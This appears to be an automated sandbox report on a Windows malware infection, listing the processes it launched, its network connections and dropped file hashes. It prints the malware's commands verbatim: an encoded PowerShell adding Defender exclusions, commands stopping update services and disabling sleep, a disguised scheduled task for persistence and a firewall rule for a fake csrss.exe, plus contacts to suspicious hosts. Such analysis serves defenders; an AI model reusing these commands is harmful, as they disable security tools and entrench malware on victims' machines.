powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcACoALABDADoAXABXAGkAbgBkAG8AdwBzAFwATQBpAGMAcgBvAHMAbwBmAHQALgBOAEUAVABcAEYAcgBhAG0AZQB3AG8AcgBrADYANABcAHYANAAuADAALgAzADAAMwAxADkAXABBAGQAZABJAG4AUAByAG8AYwBlAHMAcwAuAGUAeABlACAALQBGAG8AcgBjAGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAcgBvAGMAZQBzAHMAIABDADoAXABXAGkAbgBkAG8AdwBzAFwATQBpAGMAcgBvAHMAbwBmAHQALgBOAEUAVABcAEYAcgBhAG0AZQB3AG8AcgBrADYANABcAHYANAAuADAALgAzADAAMwAxADkAXABBAGQAZABJAG4AUAByAG8AYwBlAHMAcwAuAGUAeABlAA==

C:\Users\Admin\AppData\Local\Temp\toolspub2.exe

"C:\Users\Admin\AppData\Local\Temp\toolspub2.exe"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

powershell -nologo -noprofile

C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe

"C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe"

C:\Users\Admin\AppData\Roaming\Tags\Settings.exe

C:\Users\Admin\AppData\Roaming\Tags\Settings.exe

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

powershell -nologo -noprofile

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2128,8438341203865251372,2646695476267494431,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --gpu-preferences=UAAAAAAAAADoAAAQAAAAAAAAAAAAAAAAAABgAAAEAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=8656 /prefetch:2

C:\Windows\System32\cmd.exe

C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc

C:\Windows\System32\sc.exe

sc stop UsoSvc

C:\Windows\System32\sc.exe

sc stop WaaSMedicSvc

C:\Windows\System32\sc.exe

sc stop wuauserv

C:\Windows\System32\sc.exe

sc stop bits

C:\Windows\System32\sc.exe

sc stop dosvc

C:\Windows\System32\cmd.exe

C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#nvjdnn#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; }

C:\Windows\System32\powercfg.exe

powercfg /x -hibernate-timeout-ac 0

C:\Windows\System32\powercfg.exe

powercfg /x -hibernate-timeout-dc 0

C:\Users\Admin\AppData\Local\Temp\3148.exe

C:\Users\Admin\AppData\Local\Temp\3148.exe

C:\Windows\System32\powercfg.exe

powercfg /x -standby-timeout-ac 0

C:\Windows\System32\powercfg.exe

powercfg /x -standby-timeout-dc 0

C:\Windows\system32\cmd.exe

C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"

C:\Windows\system32\netsh.exe

netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

powershell -nologo -noprofile

C:\Windows\System32\schtasks.exe

C:\Windows\System32\schtasks.exe /run /tn "GoogleUpdateTaskMachineQC"

C:\Program Files\Google\Chrome\updater.exe

"C:\Program Files\Google\Chrome\updater.exe"

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\ADelRCP.exe

"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\ADelRCP.exe"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

powershell -nologo -noprofile

Network

Country Destination Domain Proto
US 8.8.8.8:53 8.8.8.8.in-addr.arpa udp
US 8.8.8.8:53 146.78.124.51.in-addr.arpa udp
US 8.8.8.8:53 163.252.72.23.in-addr.arpa udp
US 8.8.8.8:53 138.32.126.40.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 www.facebook.com udp
NL 157.240.201.35:443 www.facebook.com tcp
US 8.8.8.8:53 accounts.google.com udp
NL 142.250.179.141:443 accounts.google.com tcp
US 8.8.8.8:53 35.201.240.157.in-addr.arpa udp
US 8.8.8.8:53 141.179.250.142.in-addr.arpa udp
US 8.8.8.8:53 steamcommunity.com udp
NL 23.222.49.98:443 steamcommunity.com tcp
US 8.8.8.8:53 store.steampowered.com udp
NL 104.85.0.101:443 store.steampowered.com tcp
US 8.8.8.8:53 www.epicgames.com udp
US 8.8.8.8:53 98.49.222.23.in-addr.arpa udp
US 8.8.8.8:53 101.0.85.104.in-addr.arpa udp
US 8.8.8.8:53 twitter.com udp
US 3.221.61.110:443 www.epicgames.com tcp
US 104.244.42.65:443 twitter.com tcp
NL 142.250.179.141:443 accounts.google.com udp
US 8.8.8.8:53 www.paypal.com udp
US 151.101.1.21:443 www.paypal.com tcp
US 8.8.8.8:53 65.42.244.104.in-addr.arpa udp
US 8.8.8.8:53 110.61.221.3.in-addr.arpa udp
US 8.8.8.8:53 21.1.101.151.in-addr.arpa udp
US 8.8.8.8:53 113.39.65.18.in-addr.arpa udp
US 8.8.8.8:53 238.168.217.172.in-addr.arpa udp
US 8.8.8.8:53 195.179.250.142.in-addr.arpa udp
US 8.8.8.8:53 131.179.250.142.in-addr.arpa udp
N/A 224.0.0.251:5353 udp
US 8.8.8.8:53 i.ytimg.com udp
NL 142.250.179.182:443 i.ytimg.com tcp
US 8.8.8.8:53 182.179.250.142.in-addr.arpa udp
US 8.8.8.8:53 static.xx.fbcdn.net udp
US 157.240.5.10:443 static.xx.fbcdn.net tcp
US 157.240.5.10:443 static.xx.fbcdn.net tcp
US 157.240.5.10:443 static.xx.fbcdn.net tcp
US 8.8.8.8:53 play.google.com udp
NL 142.251.36.14:443 play.google.com tcp
NL 142.251.36.14:443 play.google.com udp
US 8.8.8.8:53 10.5.240.157.in-addr.arpa udp
US 8.8.8.8:53 14.36.251.142.in-addr.arpa udp
US 8.8.8.8:53 static-assets-prod.unrealengine.com udp
US 18.239.36.103:443 static-assets-prod.unrealengine.com tcp
US 8.8.8.8:53 www.paypalobjects.com udp
US 8.8.8.8:53 store.akamai.steamstatic.com udp
US 192.229.221.25:443 www.paypalobjects.com tcp
US 192.229.221.25:443 www.paypalobjects.com tcp
US 192.229.221.25:443 www.paypalobjects.com tcp
NL 23.72.252.171:443 store.akamai.steamstatic.com tcp
NL 23.72.252.171:443 store.akamai.steamstatic.com tcp
NL 23.72.252.171:443 store.akamai.steamstatic.com tcp
US 8.8.8.8:53 abs.twimg.com udp
US 152.199.21.141:443 abs.twimg.com tcp
US 8.8.8.8:53 tracking.epicgames.com udp
US 34.195.142.151:443 tracking.epicgames.com tcp
US 8.8.8.8:53 pbs.twimg.com udp
US 8.8.8.8:53 api.twitter.com udp
US 152.199.21.141:443 abs.twimg.com tcp
US 104.244.42.2:443 api.twitter.com tcp
NL 199.232.148.159:443 pbs.twimg.com tcp
US 8.8.8.8:53 video.twimg.com udp
US 8.8.8.8:53 t.co udp
US 8.8.8.8:53 apps.identrust.com udp
NL 199.232.148.158:443 video.twimg.com tcp
NL 88.221.25.153:80 apps.identrust.com tcp
US 104.244.42.69:443 t.co tcp
US 8.8.8.8:53 25.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 171.252.72.23.in-addr.arpa udp
US 8.8.8.8:53 103.36.239.18.in-addr.arpa udp
US 8.8.8.8:53 141.21.199.152.in-addr.arpa udp
US 8.8.8.8:53 159.148.232.199.in-addr.arpa udp
US 8.8.8.8:53 2.42.244.104.in-addr.arpa udp
US 8.8.8.8:53 151.142.195.34.in-addr.arpa udp
US 8.8.8.8:53 158.148.232.199.in-addr.arpa udp
US 8.8.8.8:53 153.25.221.88.in-addr.arpa udp
US 8.8.8.8:53 69.42.244.104.in-addr.arpa udp
US 8.8.8.8:53 community.akamai.steamstatic.com udp
NL 23.72.252.169:443 community.akamai.steamstatic.com tcp
NL 23.72.252.169:443 community.akamai.steamstatic.com tcp
NL 23.72.252.169:443 community.akamai.steamstatic.com tcp
US 8.8.8.8:53 169.252.72.23.in-addr.arpa udp
US 8.8.8.8:53 106.208.58.216.in-addr.arpa udp
US 192.229.221.25:443 www.paypalobjects.com tcp
US 8.8.8.8:53 2.136.104.51.in-addr.arpa udp
US 8.8.8.8:53 157.123.68.40.in-addr.arpa udp
US 8.8.8.8:53 15.164.165.52.in-addr.arpa udp
US 8.8.8.8:53 126.23.238.8.in-addr.arpa udp
US 8.8.8.8:53 static.ads-twitter.com udp
NL 199.232.148.157:443 static.ads-twitter.com tcp
US 8.8.8.8:53 facebook.com udp
NL 157.240.247.35:443 facebook.com tcp
US 8.8.8.8:53 157.148.232.199.in-addr.arpa udp
US 8.8.8.8:53 35.247.240.157.in-addr.arpa udp
RU 5.42.92.51:19057 tcp
US 8.8.8.8:53 fbcdn.net udp
US 157.240.5.35:443 fbcdn.net tcp
US 8.8.8.8:53 35.5.240.157.in-addr.arpa udp
US 8.8.8.8:53 fbsbx.com udp
US 8.8.8.8:53 www.recaptcha.net udp
NL 172.217.168.227:443 www.recaptcha.net tcp
NL 172.217.168.227:443 www.recaptcha.net udp
RU 5.42.92.190:80 5.42.92.190 tcp
US 194.49.94.72:80 tcp
NL 23.72.252.169:443 community.akamai.steamstatic.com tcp
US 8.8.8.8:53 190.92.42.5.in-addr.arpa udp
NL 23.72.252.171:443 store.akamai.steamstatic.com tcp
NL 23.72.252.171:443 store.akamai.steamstatic.com tcp
US 8.8.8.8:53 c.paypal.com udp
US 192.55.233.1:443 tcp
US 8.8.8.8:53 t.paypal.com udp
US 151.101.1.35:443 t.paypal.com tcp
US 192.55.233.1:443 tcp
US 8.8.8.8:53 35.1.101.151.in-addr.arpa udp
US 8.8.8.8:53 b.stats.paypal.com udp
US 64.4.245.84:443 b.stats.paypal.com tcp
US 8.8.8.8:53 login.steampowered.com udp
NL 23.222.49.98:443 login.steampowered.com tcp
US 8.8.8.8:53 84.245.4.64.in-addr.arpa udp
US 18.239.36.103:443 static-assets-prod.unrealengine.com tcp
US 8.8.8.8:53 api.steampowered.com udp
NL 23.222.49.98:443 api.steampowered.com tcp
US 8.8.8.8:53 dub.stats.paypal.com udp
US 64.4.245.84:443 dub.stats.paypal.com tcp
US 8.8.8.8:53 c6.paypal.com udp
US 151.101.1.35:443 c6.paypal.com tcp
US 8.8.8.8:53 talon-website-prod.ecosec.on.epicgames.com udp
US 172.64.146.120:443 talon-website-prod.ecosec.on.epicgames.com tcp
US 8.8.8.8:53 120.146.64.172.in-addr.arpa udp
US 104.244.42.2:443 api.twitter.com tcp
US 104.244.42.2:443 api.twitter.com tcp
US 8.8.8.8:53 254.3.248.8.in-addr.arpa udp
US 8.8.8.8:53 numpersb.fun udp
US 8.8.8.8:53 killredls.pw udp
US 104.21.53.57:80 killredls.pw tcp
US 104.21.53.57:80 killredls.pw tcp
US 8.8.8.8:53 57.53.21.104.in-addr.arpa udp
NL 142.250.179.141:443 accounts.google.com udp
US 104.21.53.57:80 killredls.pw tcp
US 104.21.53.57:80 killredls.pw tcp
US 104.21.53.57:80 killredls.pw tcp
US 104.21.53.57:80 killredls.pw tcp
US 104.21.53.57:80 killredls.pw tcp
US 104.21.53.57:80 killredls.pw tcp
US 104.21.53.57:80 killredls.pw tcp
US 104.21.53.57:80 killredls.pw tcp
US 104.21.53.57:80 killredls.pw tcp
US 104.21.53.57:80 killredls.pw tcp
US 8.8.8.8:53 talon-service-prod.ecosec.on.epicgames.com udp
US 104.18.41.136:443 talon-service-prod.ecosec.on.epicgames.com tcp
US 104.18.41.136:443 talon-service-prod.ecosec.on.epicgames.com tcp
US 104.18.41.136:443 talon-service-prod.ecosec.on.epicgames.com tcp
US 8.8.8.8:53 136.41.18.104.in-addr.arpa udp
US 104.21.53.57:80 killredls.pw tcp
US 8.8.8.8:53 js.hcaptcha.com udp
US 104.21.53.57:80 killredls.pw tcp
US 104.19.218.90:443 js.hcaptcha.com tcp
US 104.21.53.57:80 killredls.pw tcp
US 8.8.8.8:53 googleads.g.doubleclick.net udp
NL 142.251.36.2:443 googleads.g.doubleclick.net tcp
US 104.21.53.57:80 killredls.pw tcp
US 104.21.53.57:80 killredls.pw tcp
US 104.21.53.57:80 killredls.pw tcp
US 8.8.8.8:53 90.218.19.104.in-addr.arpa udp
US 8.8.8.8:53 2.36.251.142.in-addr.arpa udp
US 104.21.53.57:80 killredls.pw tcp
US 104.21.53.57:80 killredls.pw tcp
NL 142.251.36.2:443 googleads.g.doubleclick.net udp
US 104.21.53.57:80 killredls.pw tcp
US 104.21.53.57:80 killredls.pw tcp
RU 5.42.92.51:19057 tcp
US 104.21.53.57:80 killredls.pw tcp
US 8.8.8.8:53 www.epicgames.com udp
US 8.8.8.8:53 newassets.hcaptcha.com udp
US 104.21.53.57:80 killredls.pw tcp
US 104.21.53.57:80 killredls.pw tcp
US 104.21.53.57:80 killredls.pw tcp
US 104.21.53.57:80 killredls.pw tcp
US 8.8.8.8:53 rr5---sn-aigl6nsd.googlevideo.com udp
GB 74.125.105.42:443 rr5---sn-aigl6nsd.googlevideo.com tcp
GB 74.125.105.42:443 rr5---sn-aigl6nsd.googlevideo.com tcp
GB 74.125.105.42:443 rr5---sn-aigl6nsd.googlevideo.com tcp
US 8.8.8.8:53 api2.hcaptcha.com udp
GB 74.125.105.42:443 rr5---sn-aigl6nsd.googlevideo.com tcp
GB 74.125.105.42:443 rr5---sn-aigl6nsd.googlevideo.com tcp
US 104.21.53.57:80 killredls.pw tcp
GB 74.125.105.42:443 rr5---sn-aigl6nsd.googlevideo.com tcp
US 8.8.8.8:53 42.105.125.74.in-addr.arpa udp
US 104.21.53.57:80 killredls.pw tcp
US 104.21.53.57:80 killredls.pw tcp
RU 5.42.92.190:80 5.42.92.190 tcp
NL 194.169.175.118:80 194.169.175.118 tcp
RU 5.42.65.80:80 5.42.65.80 tcp
US 8.8.8.8:53 118.175.169.194.in-addr.arpa udp
US 8.8.8.8:53 80.65.42.5.in-addr.arpa udp
US 194.49.94.11:80 tcp
US 104.21.53.57:80 killredls.pw tcp
US 104.21.53.57:80 killredls.pw tcp
US 104.21.53.57:80 killredls.pw tcp
US 104.21.53.57:80 killredls.pw tcp
US 104.21.53.57:80 killredls.pw tcp
US 104.21.53.57:80 killredls.pw tcp
US 104.21.53.57:80 killredls.pw tcp
US 104.21.53.57:80 killredls.pw tcp
US 104.21.53.57:80 killredls.pw tcp
US 104.21.53.57:80 killredls.pw tcp
US 104.21.53.57:80 killredls.pw tcp
RU 5.42.92.190:80 5.42.92.190 tcp
IT 185.196.9.161:80 185.196.9.161 tcp
US 8.8.8.8:53 55.36.223.20.in-addr.arpa udp
US 8.8.8.8:53 161.9.196.185.in-addr.arpa udp
RU 185.174.136.219:443 tcp
RU 5.42.92.51:19057 tcp
US 194.49.94.11:80 tcp
RU 5.42.92.190:80 5.42.92.190 tcp
RU 5.42.64.16:443 tcp
US 8.8.8.8:53 16.64.42.5.in-addr.arpa udp
RU 5.42.92.51:19057 tcp
US 194.49.94.11:80 tcp
NL 142.250.179.141:443 accounts.google.com udp
US 8.8.8.8:53 210.143.182.52.in-addr.arpa udp
RU 5.42.92.190:80 5.42.92.190 tcp
RU 5.42.64.16:443 tcp
US 8.8.8.8:53 host-file-host6.com udp
US 8.8.8.8:53 host-host-file8.com udp
US 95.214.26.28:80 host-host-file8.com tcp
US 8.8.8.8:53 28.26.214.95.in-addr.arpa udp
US 8.8.8.8:53 bluepablo.fun udp
US 104.21.18.41:80 bluepablo.fun tcp
US 104.21.18.41:80 bluepablo.fun tcp
US 8.8.8.8:53 41.18.21.104.in-addr.arpa udp
RU 5.42.92.51:19057 tcp
US 104.21.18.41:80 bluepablo.fun tcp
US 104.21.18.41:80 bluepablo.fun tcp
US 104.21.18.41:80 bluepablo.fun tcp
US 104.21.18.41:80 bluepablo.fun tcp
US 104.21.18.41:80 bluepablo.fun tcp
US 104.21.18.41:80 bluepablo.fun tcp
US 104.21.18.41:80 bluepablo.fun tcp
US 104.21.18.41:80 bluepablo.fun tcp

Files

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\ZB4HP83.exe

MD5 41274a55cdbaf6b7768f5b15554b6521
SHA1 59adbe8b5041354567749e837355a62000289c49
SHA256 0729531f10e963227f49247c7f935abd442464c9c2e49e85075106da87a2e990
SHA512 4ab972856fcdb92646520ddbd914846e2954ca98f649d6af2415757405e26f89c0e1dc3b1d6e0e17194ee03ca755a14f6d53fea564a662a666cdfa28d5f7fa20

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\ZB4HP83.exe

MD5 41274a55cdbaf6b7768f5b15554b6521
SHA1 59adbe8b5041354567749e837355a62000289c49
SHA256 0729531f10e963227f49247c7f935abd442464c9c2e49e85075106da87a2e990
SHA512 4ab972856fcdb92646520ddbd914846e2954ca98f649d6af2415757405e26f89c0e1dc3b1d6e0e17194ee03ca755a14f6d53fea564a662a666cdfa28d5f7fa20

C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\VK1NC47.exe

MD5 9545cc969ae33ed1cc71d9a9ad33458c
SHA1 edb990d84688311043439868d24c838c356e5981
SHA256 0c3ae042ce6e268254f2d93ce5544b1b5d6d4686da0d50dd1b03a552c29e56d7
SHA512 ee070b0b7d99c27d9b87074c5faf74e1f1d7d8ac45b4aae1bb54e894dc76874de79f5e4b1941acd61835380724d8c0575f33aacc74e34b074147aad61024134c

C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\VK1NC47.exe

MD5 9545cc969ae33ed1cc71d9a9ad33458c
SHA1 edb990d84688311043439868d24c838c356e5981
SHA256 0c3ae042ce6e268254f2d93ce5544b1b5d6d4686da0d50dd1b03a552c29e56d7
SHA512 ee070b0b7d99c27d9b87074c5faf74e1f1d7d8ac45b4aae1bb54e894dc76874de79f5e4b1941acd61835380724d8c0575f33aacc74e34b074147aad61024134c

C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\yw7Wn20.exe

MD5 42690c1cf29601760d452bb27b7acf62
SHA1 d400f4e8fffe4b8641184b2f5a57c68348923aaa
SHA256 67f6058f2ec65a3f52625e384230e7e84d528c1eabae1285596f8c0c50906afe
SHA512 be40dcfa692e2fab2aad73de28776f83847636372af93cff3001801d431ed3a77bdea3b00e2f3dced9b7909720edb3d8ad66311c6885d704e50b7968ed20c1c5

C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\yw7Wn20.exe

MD5 42690c1cf29601760d452bb27b7acf62
SHA1 d400f4e8fffe4b8641184b2f5a57c68348923aaa
SHA256 67f6058f2ec65a3f52625e384230e7e84d528c1eabae1285596f8c0c50906afe
SHA512 be40dcfa692e2fab2aad73de28776f83847636372af93cff3001801d431ed3a77bdea3b00e2f3dced9b7909720edb3d8ad66311c6885d704e50b7968ed20c1c5

C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\1vp35Ok1.exe

MD5 22d54420b6c77d6675c690592509ed31
SHA1 cf9451bc7a035b7510d90c0544cb581fef820353
SHA256 f3ff6e479e856f91dd9ffd21cd0542f7ee53985708a835fdde19a9ea20f56d42
SHA512 4067dd687fc21759c39cbd45a51dd73b34d66189576fe058b3a6cbea216480ee52dbcfa4372039d39d23a261fa0db697167a13bab403a45c83ffab388e092cc4

C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\1vp35Ok1.exe

MD5 22d54420b6c77d6675c690592509ed31
SHA1 cf9451bc7a035b7510d90c0544cb581fef820353
SHA256 f3ff6e479e856f91dd9ffd21cd0542f7ee53985708a835fdde19a9ea20f56d42
SHA512 4067dd687fc21759c39cbd45a51dd73b34d66189576fe058b3a6cbea216480ee52dbcfa4372039d39d23a261fa0db697167a13bab403a45c83ffab388e092cc4

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

MD5 8992ae6e99b277eea6fb99c4f267fa3f
SHA1 3715825c48f594068638351242fac7fdd77c1eb7
SHA256 525038333c02dff407d589fa407b493b7962543e205c587feceefbc870a08e3d
SHA512 a1f44fff4ea76358c7f2a909520527ec0bbc3ddcb722c5d1f874e03a0c4ac42dac386a49ccf72807ef2fa6ccc534490ad90de2f699b1e49f06f79157f251ab25

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

MD5 6276613a51dae3b747451bc05e24edfa
SHA1 96ff591013fc8d378a9b37ea580d8ec6e98bbde5
SHA256 d17c0519716f5fa61ccf7289220c5e8917a36fbb29e48a86bb1122c9e3fcafb0
SHA512 dc84cd5df4867849039ecea2c98b1aeb435399b9503b1384159b2d08fe180b9f3daadc98f55c6ab28faa1e66dea8abfa4e702232a7027d933b0eca91fcf6b5f3

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

MD5 6276613a51dae3b747451bc05e24edfa
SHA1 96ff591013fc8d378a9b37ea580d8ec6e98bbde5
SHA256 d17c0519716f5fa61ccf7289220c5e8917a36fbb29e48a86bb1122c9e3fcafb0
SHA512 dc84cd5df4867849039ecea2c98b1aeb435399b9503b1384159b2d08fe180b9f3daadc98f55c6ab28faa1e66dea8abfa4e702232a7027d933b0eca91fcf6b5f3

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

MD5 6276613a51dae3b747451bc05e24edfa
SHA1 96ff591013fc8d378a9b37ea580d8ec6e98bbde5
SHA256 d17c0519716f5fa61ccf7289220c5e8917a36fbb29e48a86bb1122c9e3fcafb0
SHA512 dc84cd5df4867849039ecea2c98b1aeb435399b9503b1384159b2d08fe180b9f3daadc98f55c6ab28faa1e66dea8abfa4e702232a7027d933b0eca91fcf6b5f3

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

MD5 6276613a51dae3b747451bc05e24edfa
SHA1 96ff591013fc8d378a9b37ea580d8ec6e98bbde5
SHA256 d17c0519716f5fa61ccf7289220c5e8917a36fbb29e48a86bb1122c9e3fcafb0
SHA512 dc84cd5df4867849039ecea2c98b1aeb435399b9503b1384159b2d08fe180b9f3daadc98f55c6ab28faa1e66dea8abfa4e702232a7027d933b0eca91fcf6b5f3

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

MD5 6276613a51dae3b747451bc05e24edfa
SHA1 96ff591013fc8d378a9b37ea580d8ec6e98bbde5
SHA256 d17c0519716f5fa61ccf7289220c5e8917a36fbb29e48a86bb1122c9e3fcafb0
SHA512 dc84cd5df4867849039ecea2c98b1aeb435399b9503b1384159b2d08fe180b9f3daadc98f55c6ab28faa1e66dea8abfa4e702232a7027d933b0eca91fcf6b5f3

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

MD5 6276613a51dae3b747451bc05e24edfa
SHA1 96ff591013fc8d378a9b37ea580d8ec6e98bbde5
SHA256 d17c0519716f5fa61ccf7289220c5e8917a36fbb29e48a86bb1122c9e3fcafb0
SHA512 dc84cd5df4867849039ecea2c98b1aeb435399b9503b1384159b2d08fe180b9f3daadc98f55c6ab28faa1e66dea8abfa4e702232a7027d933b0eca91fcf6b5f3

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

MD5 6276613a51dae3b747451bc05e24edfa
SHA1 96ff591013fc8d378a9b37ea580d8ec6e98bbde5
SHA256 d17c0519716f5fa61ccf7289220c5e8917a36fbb29e48a86bb1122c9e3fcafb0
SHA512 dc84cd5df4867849039ecea2c98b1aeb435399b9503b1384159b2d08fe180b9f3daadc98f55c6ab28faa1e66dea8abfa4e702232a7027d933b0eca91fcf6b5f3

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

MD5 6276613a51dae3b747451bc05e24edfa
SHA1 96ff591013fc8d378a9b37ea580d8ec6e98bbde5
SHA256 d17c0519716f5fa61ccf7289220c5e8917a36fbb29e48a86bb1122c9e3fcafb0
SHA512 dc84cd5df4867849039ecea2c98b1aeb435399b9503b1384159b2d08fe180b9f3daadc98f55c6ab28faa1e66dea8abfa4e702232a7027d933b0eca91fcf6b5f3

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

MD5 6276613a51dae3b747451bc05e24edfa
SHA1 96ff591013fc8d378a9b37ea580d8ec6e98bbde5
SHA256 d17c0519716f5fa61ccf7289220c5e8917a36fbb29e48a86bb1122c9e3fcafb0
SHA512 dc84cd5df4867849039ecea2c98b1aeb435399b9503b1384159b2d08fe180b9f3daadc98f55c6ab28faa1e66dea8abfa4e702232a7027d933b0eca91fcf6b5f3

\??\pipe\LOCAL\crashpad_4092_CPVVMSZETRAFTHYT

MD5 d41d8cd98f00b204e9800998ecf8427e
SHA1 da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256 e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
SHA512 cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

MD5 6276613a51dae3b747451bc05e24edfa
SHA1 96ff591013fc8d378a9b37ea580d8ec6e98bbde5
SHA256 d17c0519716f5fa61ccf7289220c5e8917a36fbb29e48a86bb1122c9e3fcafb0
SHA512 dc84cd5df4867849039ecea2c98b1aeb435399b9503b1384159b2d08fe180b9f3daadc98f55c6ab28faa1e66dea8abfa4e702232a7027d933b0eca91fcf6b5f3

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

MD5 6276613a51dae3b747451bc05e24edfa
SHA1 96ff591013fc8d378a9b37ea580d8ec6e98bbde5
SHA256 d17c0519716f5fa61ccf7289220c5e8917a36fbb29e48a86bb1122c9e3fcafb0
SHA512 dc84cd5df4867849039ecea2c98b1aeb435399b9503b1384159b2d08fe180b9f3daadc98f55c6ab28faa1e66dea8abfa4e702232a7027d933b0eca91fcf6b5f3

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

MD5 6276613a51dae3b747451bc05e24edfa
SHA1 96ff591013fc8d378a9b37ea580d8ec6e98bbde5
SHA256 d17c0519716f5fa61ccf7289220c5e8917a36fbb29e48a86bb1122c9e3fcafb0
SHA512 dc84cd5df4867849039ecea2c98b1aeb435399b9503b1384159b2d08fe180b9f3daadc98f55c6ab28faa1e66dea8abfa4e702232a7027d933b0eca91fcf6b5f3

\??\pipe\LOCAL\crashpad_3952_YGMNYZYVLABKQKNQ

MD5 d41d8cd98f00b204e9800998ecf8427e
SHA1 da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256 e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
SHA512 cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

MD5 6276613a51dae3b747451bc05e24edfa
SHA1 96ff591013fc8d378a9b37ea580d8ec6e98bbde5
SHA256 d17c0519716f5fa61ccf7289220c5e8917a36fbb29e48a86bb1122c9e3fcafb0
SHA512 dc84cd5df4867849039ecea2c98b1aeb435399b9503b1384159b2d08fe180b9f3daadc98f55c6ab28faa1e66dea8abfa4e702232a7027d933b0eca91fcf6b5f3

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

MD5 a7205374cacd6b6abbc0fc48f73d5a34
SHA1 74d68373fb1f8fac73cf181e08498e6f2d9ad1cf
